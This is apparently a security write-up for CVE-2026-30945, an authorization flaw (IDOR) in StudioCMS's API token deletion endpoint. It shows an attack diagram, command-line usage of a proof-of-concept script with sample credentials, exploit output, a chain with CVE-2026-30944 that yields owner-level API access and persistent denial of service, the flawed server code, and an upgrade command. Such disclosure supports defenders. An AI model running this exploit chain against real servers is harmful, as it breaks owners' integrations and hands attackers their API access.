┌──────────────┐   DELETE /api-tokens        ┌──────────────┐
│              │  {"tokenID":"<id>",          │              │
│   Attacker   │   "userID":"<owner-id>"}     │  StudioCMS   │
│   (Editor)   │ ──────────────────────────► │   Server     │
│              │                              │              │
│              │ ◄────────────────────────── │              │
└──────────────┘  {"message":"Token deleted"} └──────────────┘
                                                     │
                                                     ▼
                                              ┌──────────────┐
                                              │  Owner's     │
                                              │  CI/CD       │
                                              │  Pipeline    │──► ❌ 401 Unauthorized
                                              │  Integration │──► ❌ API Access Lost
                                              │  Monitoring  │──► ❌ Silent Failure
                                              └──────────────┘

pip install requests colorama

# Отзыв конкретного токена, принадлежащего владельцу
python3 cve_2026_30945_poc.py \
  -u http://localhost:4321 \
  --username editor01 \
  --password editorpass \
  --target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
  --token-id 16a2e549-513b-40ac-8ca3-858af6118afc

# Объединение с CVE-2026-30944: сначала создание токена для цели
python3 cve_2026_30945_poc.py \
  -u http://localhost:4321 \
  --username editor01 \
  --password editorpass \
  --target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1

# Сохранение результатов в JSON
python3 cve_2026_30945_poc.py \
  -u http://localhost:4321 \
  --username editor01 \
  --password editorpass \
  --target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
  --token-id 16a2e549-513b-40ac-8ca3-858af6118afc \
  --save

# Тестирование с несколькими ролями
python3 cve_2026_30945_poc.py \
  -u http://localhost:4321 \
  --auto-test \
  --editor-user editor01 \
  --editor-pass editorpass \
  --visitor-user visitor01 \
  --visitor-pass visitorpass \
  --target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
  --token-id 16a2e549-513b-40ac-8ca3-858af6118afc

  ──────────────────────────────────────────────────────────
  PHASE 1: Authentication
  ──────────────────────────────────────────────────────────
  [+] Authenticated as 'editor01'
  [*] Session user: editor01 (editor)
  [*] Session UUID: 39b3e7d3-5eb0-48e1-abdc-ce95a57b212c

  ──────────────────────────────────────────────────────────
  PHASE 3: Token Revocation (IDOR)
  ──────────────────────────────────────────────────────────
  [*] Target UUID: 2450bf33-0135-4142-80be-9854f9a5e9f1
  [*] Token ID:    16a2e549-513b-40ac-8ca3-858af6118afc
  [*] Revoking target's API token...
  [+] Token revoked! Server response: Token deleted
  [!] VULNERABILITY CONFIRMED — Token successfully revoked!
  [!] Target user's API integrations are now broken (DoS)

  ──────────────────────────────────────────────────────────
  PHASE 3: Token Revocation (IDOR)
  ──────────────────────────────────────────────────────────
  [*] Target UUID: 2450bf33-0135-4142-80be-9854f9a5e9f1
  [*] Token ID:    16a2e549-513b-40ac-8ca3-858af6118afc
  [*] Revoking target's API token...
  [*] Access denied (403 Forbidden) — endpoint may be patched
  [-] Revocation failed: Access denied (403 Forbidden)

Step 1: Revoke owner's legitimate token    (CVE-2026-30945)
   └──► Owner's CI/CD pipelines break silently

Step 2: Generate new token for owner       (CVE-2026-30944)
   └──► Attacker now has owner-level API access

Step 3: Owner creates a new token to fix
   └──► Attacker revokes it again (persistent DoS)

// [1] Only checks if caller is editor — not WHO they're deleting tokens for
const isAuthorized = ctx.locals.StudioCMS.security?.userPermissionLevel.isEditor;

// [2] Both values from request body — no validation against session
const jsonData = yield* readAPIContextJson<{
    tokenID: string;    // No ownership check
    userID: string;     // No identity check
}>(ctx);

// [3] Passed directly to destructive operation — IDOR
yield* sdk.REST_API.tokens.delete({ tokenId: jsonData.tokenID, userId: jsonData.userID });

npm install studiocms@latest